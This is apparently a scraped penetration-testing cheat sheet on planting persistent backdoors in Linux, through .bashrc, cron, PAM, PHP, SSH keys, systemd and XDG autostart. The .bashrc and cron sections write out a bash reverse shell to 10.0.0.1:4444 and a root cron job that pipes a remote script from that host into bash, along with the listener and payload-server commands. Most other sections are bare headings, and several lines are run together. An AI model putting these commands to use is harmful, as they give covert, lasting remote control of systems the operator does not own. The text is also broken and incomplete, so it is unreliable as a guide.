Backdoors in Linux
.bashrc
bash -i >& /dev/tcp/10.0.0.1/4444nc -lvnp 4444Cron
* * * * * root curl http://10.0.0.1/shell | bash#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1# Terminal 1
# We need to start this in the directory where our 'shell' file is located.
sudo python3 -m http.server 80
# Terminal 2
nc -lvnp 4444pam_unix.so
PHP
1. Create a Payload
2. Reverse Shell
SSH
1. Generate a New SSH key
2. Transfer Our SSH Public Key to Target System
3. Add the Public Key Content to authorized_keys
4. Change Permission of SSH
5. Connect to SSH Anytime
Systemd
1. Create a New Systemd Config File
2. Wait for Reverse Connecting
XDG Autostart
Option: Firewall Bypass
Last updated